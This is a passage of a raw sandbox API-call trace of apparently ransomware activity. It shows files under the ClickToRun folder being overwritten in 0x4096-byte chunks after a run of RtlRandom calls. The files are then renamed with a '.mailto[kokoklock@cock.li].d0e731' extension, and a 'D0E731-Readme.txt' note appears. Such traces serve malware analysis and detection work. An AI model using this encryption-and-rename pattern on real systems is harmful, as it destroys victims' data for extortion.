lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1893fb30, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1893fb30*=0x4096, lpOverlapped=0x0) returned 1 [0074.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.360] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x18384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.360] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1893fb30, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1893fb30*=0x4096, lpOverlapped=0x0) returned 1 [0074.360] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x18384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0074.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e500 [0074.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e500) returned 1 [0074.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e500 [0074.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0074.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0074.361] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1893fb30, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1893fb30*=0x4096, lpOverlapped=0x0) returned 1 [0074.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.361] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x26a68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.362] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1893fb30, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1893fb30*=0x4096, lpOverlapped=0x0) returned 1 [0074.362] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x26a68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdbc8 [0074.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0074.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0074.363] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0074.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdbc8) returned 1 [0074.363] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1893fb30, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1893fb30*=0x4096, lpOverlapped=0x0) returned 1 [0074.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.363] WriteFile (in: hFile=0x960, lpBuffer=0x341e208*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1893fb8c, lpOverlapped=0x0 | out: lpBuffer=0x341e208*, lpNumberOfBytesWritten=0x1893fb8c*=0x20, lpOverlapped=0x0) returned 1 [0074.363] WriteFile (in: hFile=0x960, lpBuffer=0x341e500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1893fb8c, lpOverlapped=0x0 | out: lpBuffer=0x341e500*, lpNumberOfBytesWritten=0x1893fb8c*=0x20, lpOverlapped=0x0) returned 1 [0074.363] WriteFile (in: hFile=0x960, lpBuffer=0x341e6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1893fb8c, lpOverlapped=0x0 | out: lpBuffer=0x341e6b8*, lpNumberOfBytesWritten=0x1893fb8c*=0x20, lpOverlapped=0x0) returned 1 [0074.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.364] WriteFile (in: hFile=0x960, lpBuffer=0x341e4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x341e4d8*, lpNumberOfBytesWritten=0x1893fb94*=0x8, lpOverlapped=0x0) returned 1 [0074.364] WriteFile (in: hFile=0x960, lpBuffer=0x1893fbac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x1893fbac*, lpNumberOfBytesWritten=0x1893fb94*=0x4, lpOverlapped=0x0) returned 1 [0074.364] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1893fb94*=0x4, lpOverlapped=0x0) returned 1 [0074.364] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1893fb94*=0x6c, lpOverlapped=0x0) returned 1 [0074.364] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x1893fb94*=0x20, lpOverlapped=0x0) returned 1 [0074.364] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1893fb94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1893fb94*=0x4, lpOverlapped=0x0) returned 1 [0074.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0074.364] CloseHandle (hObject=0x960) returned 1 [0074.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x33e2008 [0074.364] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" [0074.364] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.365] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.365] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.365] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3435458 [0074.366] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.366] wcscat (in: _Dest=0x3435458, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.366] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0074.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34225b8) returned 1 [0074.366] RtlExitUserThread (Status=0x1) Thread: id = 632 os_tid = 0x10cc [0074.368] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 0x20 [0074.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.370] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.370] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x189bf8bc | out: lpFileSize=0x189bf8bc*=986292) returned 1 [0074.370] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xf0cb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.370] ReadFile (in: hFile=0x960, lpBuffer=0x189bf890, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x189bf890*, lpNumberOfBytesRead=0x189bf88c*=0x4, lpOverlapped=0x0) returned 1 [0074.372] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e4d8 [0074.372] NtQuerySystemTime (in: CurrentTime=0x189bf868 | out: CurrentTime=0x189bf868*=132121176322691350) returned 0x0 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x3a141ef7 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x8f3952aa [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x26168ab7 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xcbab4851 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x7909cbbd [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x3ea3bdf0 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x91ee271 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x12fb22f3 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xaedcde21 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x47d3391 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xba4260c9 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xbbf65d8e [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x2eef1c29 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xaad6f439 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x73187b13 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x905a46a0 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xee46faf9 [0074.372] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xa93b742a [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xdaff79ad [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xa47bb85d [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xf8c14fdb [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xdb5100f6 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x9cce93a8 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xab82932c [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xb40289b0 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x905716f8 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xe424a020 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x9b8ea9d9 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0x4f4e8d8c [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xe53dd2c7 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xdf109e13 [0074.373] RtlRandom (in: Seed=0x189bf874 | out: Seed=0x189bf874) returned 0xb8c48d0e [0074.384] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.384] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x189bf828, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x189bf828*=0x4096, lpOverlapped=0x0) returned 1 [0074.386] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0074.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0074.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.386] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x189bf828, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x189bf828*=0x4096, lpOverlapped=0x0) returned 1 [0074.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.387] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x79194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.387] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x189bf828, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x189bf828*=0x4096, lpOverlapped=0x0) returned 1 [0074.388] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x79194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0074.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebe0 [0074.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebe0) returned 1 [0074.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0074.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eed8 [0074.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0074.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0074.389] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x189bf828, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x189bf828*=0x4096, lpOverlapped=0x0) returned 1 [0074.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.389] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xecc1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.389] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x189bf828, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x189bf828*=0x4096, lpOverlapped=0x0) returned 1 [0074.390] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xecc1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdbc8 [0074.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eed8 [0074.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0074.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebe0 [0074.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eed8 [0074.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0074.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdbc8) returned 1 [0074.391] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x189bf828, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x189bf828*=0x4096, lpOverlapped=0x0) returned 1 [0074.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.391] WriteFile (in: hFile=0x960, lpBuffer=0x341e230*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x189bf884, lpOverlapped=0x0 | out: lpBuffer=0x341e230*, lpNumberOfBytesWritten=0x189bf884*=0x20, lpOverlapped=0x0) returned 1 [0074.391] WriteFile (in: hFile=0x960, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x189bf884, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x189bf884*=0x20, lpOverlapped=0x0) returned 1 [0074.391] WriteFile (in: hFile=0x960, lpBuffer=0x341ebe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x189bf884, lpOverlapped=0x0 | out: lpBuffer=0x341ebe0*, lpNumberOfBytesWritten=0x189bf884*=0x20, lpOverlapped=0x0) returned 1 [0074.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.391] WriteFile (in: hFile=0x960, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x189bf88c*=0x8, lpOverlapped=0x0) returned 1 [0074.392] WriteFile (in: hFile=0x960, lpBuffer=0x189bf8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x189bf8a4*, lpNumberOfBytesWritten=0x189bf88c*=0x4, lpOverlapped=0x0) returned 1 [0074.392] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x189bf88c*=0x4, lpOverlapped=0x0) returned 1 [0074.392] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x189bf88c*=0x6c, lpOverlapped=0x0) returned 1 [0074.392] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x189bf88c*=0x20, lpOverlapped=0x0) returned 1 [0074.392] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x189bf88c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x189bf88c*=0x4, lpOverlapped=0x0) returned 1 [0074.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0074.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0074.392] CloseHandle (hObject=0x960) returned 1 [0074.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12c) returned 0x341da40 [0074.392] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" [0074.392] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.392] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 